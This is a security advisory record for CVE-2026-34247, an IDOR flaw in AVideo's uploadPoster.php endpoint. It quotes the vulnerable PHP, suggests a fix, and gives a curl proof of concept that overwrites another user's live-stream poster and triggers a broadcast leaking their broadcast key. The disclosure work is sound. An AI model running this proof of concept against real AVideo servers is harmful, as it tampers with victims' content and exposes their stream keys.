CVE-2026-34247: AVideo IDOR Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-g3hj-mf85-679g",
  "modified" : "2026-03-29T15:41:44Z",
  "published" : "2026-03-29T15:41:44Z",
  "aliases" : [ "CVE-2026-34247" ],
  "summary" : "AVideo: IDOR in uploadPoster.php Allows Any Authenticated User to Overwrite Scheduled Live Stream Posters and Trigger False Socket Notifications",
  "details" : "## Summary\n\nThe `plugin/Live/uploadPoster.php` endpoint allows any authenticated user to overwrite the poster image for any scheduled live stream by supplying an arbitrary `live_schedule_id`. The endpoint only checks `User::isLogged()` but never verifies that the authenticated user owns the targeted schedule. After overwriting the poster, the endpoint broadcasts a `socketLiveOFFCallback` notification containing the victim's broadcast key and user ID to all connected WebSocket clients.\n\n## Details\n\nThe vulnerable endpoint at `plugin/Live/uploadPoster.php` accepts a `live_schedule_id` from `$_REQUEST` and uses it to determine poster file paths and trigger socket notifications without ownership validation.\n\n**Entry point — attacker-controlled input (line 11-12):**\n```php\n$live_servers_id = intval($_REQUEST['live_servers_id']);\n$live_schedule_id = intval($_REQUEST['live_schedule_id']);\n```\n\n**Insufficient auth check (line 14-17):**\n```php\nif (!User::isLogged()) {\n    $obj->msg = 'You cant edit this file';\n    die(json_encode($obj));\n}\n```\n\nThis only verifies the user is logged in. There is no check that `User::getId()` matches the schedule owner's `users_id`.\n\n**Poster path resolved by ID alone (line 40-42):**\n```php\n$paths = Live_schedule::getPosterPaths($live_schedule_id, 0);\n$obj->file = str_replace($global['systemRootPath'], '', $paths['path']);\n$obj->fileThumbs = str_replace($global['systemRootPath'], '', $paths['path_thumbs']);\n```\n\n`getPosterPaths()` is a static method that constructs file paths purely from the numeric ID with no authorization.\n\n**Attacker's file overwrites victim's poster (line 48):**\n```php\nif (!move_uploaded_file($_FILES['file_data']['tmp_name'], $tmpDestination)) {\n```\n\n**Broadcast to all WebSocket clients (line 67-73):**\n```php\nif (!empty($live_schedule_id)) {\n    $ls = new Live_schedule($live_schedule_id);\n    $array = setLiveKey($ls->getKey(), $ls->getLive_servers_id());\n    $array['users_id'] = $ls->getUsers_id();\n    $array['stats'] = getStatsNotifications(true);\n    Live::notifySocketStats(\"socketLiveOFFCallback\", $array);\n}\n```\n\nThe `Live_schedule` constructor (inherited from `ObjectYPT`) loads data by ID with no auth checks. `Live::notifySocketStats()` calls `sendSocketMessageToAll()` which broadcasts to every connected WebSocket client.\n\n**Notably, the parallel endpoints DO have ownership checks:**\n- `plugin/Live/view/Live_schedule/uploadPoster.php` (line 18-21) checks `$row->getUsers_id() != User::getId()`\n- `plugin/Live/uploadPoster.json.php` (line 24-27) checks `User::isAdmin() || $row->getUsers_id() == User::getId()`\n\nThis proves the missing check in `uploadPoster.php` is an oversight, not by-design.\n\n## PoC\n\n```bash\n# Step 1: Log in as a low-privilege user to get a session cookie\ncurl -c cookies.txt -X POST 'https://target.com/objects/login.json.php' \\\n  -d 'user=attacker@example.com&pass=attackerpassword'\n\n# Step 2: Overwrite the poster for live_schedule_id=1 (owned by a different user)\ncurl -b cookies.txt \\\n  -F 'file_data=@malicious.jpg' \\\n  -F 'live_schedule_id=1' \\\n  -F 'live_servers_id=0' \\\n  'https://target.com/plugin/Live/uploadPoster.php'\n\n# Expected: 403 or ownership error\n# Actual: {} (success) — poster overwritten, socketLiveOFFCallback broadcast sent\n\n# Step 3: Verify the poster was replaced\ncurl -o - 'https://target.com/videos/live_schedule_posters/schedule_1.jpg' | file -\n# Output confirms attacker's image now serves as the victim's poster\n\n# The socketLiveOFFCallback broadcast (received by all WebSocket clients) contains:\n# { \"key\": \"<victim_broadcast_key>\", \"users_id\": <victim_user_id>, \"stats\": {...} }\n```\n\nSchedule IDs are sequential integers and can be enumerated trivially.\n\n## Impact\n\n1. **Content tampering:** Any authenticated user can overwrite poster images on any scheduled live stream. This enables defacement or phishing (e.g., replacing a poster with a malicious redirect image).\n2. **False offline notifications:** The `socketLiveOFFCallback` broadcast misleads all connected viewers into thinking the victim's stream went offline, disrupting the victim's audience.\n3. **Information disclosure:** The broadcast leaks the victim's `users_id` and broadcast key to all connected WebSocket clients.\n4. **Enumerable targets:** Schedule IDs are sequential integers, so an attacker can trivially enumerate and target all scheduled streams.\n\n## Recommended Fix\n\nAdd an ownership check after the login verification at line 17 in `plugin/Live/uploadPoster.php`:\n\n```php\nif (!User::isLogged()) {\n    $obj->msg = 'You cant edit this file';\n    die(json_encode($obj));\n}\n\n// Add ownership check for scheduled live streams\nif (!empty($live_schedule_id)) {\n    $ls = new Live_schedule($live_schedule_id);\n    if ($ls->getUsers_id() != User::getId() && !User::isAdmin()) {\n        $obj->msg = 'Not authorized';\n        die(json_encode($obj));\n    }\n}\n```\n\nThis mirrors the existing authorization pattern already used in `uploadPoster.json.php` (line 24) and `view/Live_schedule/uploadPoster.php` (line 18).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "wwbn/avideo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "26.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-g3hj-mf85-679g"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34247"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/commit/5fcb3bdf59f26d65e203cfbc8a685356ba300b60"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/WWBN/AVideo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-862" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-29T15:41:44Z",
    "nvd_published_at" : "2026-03-27T17:16:30Z"
  }
}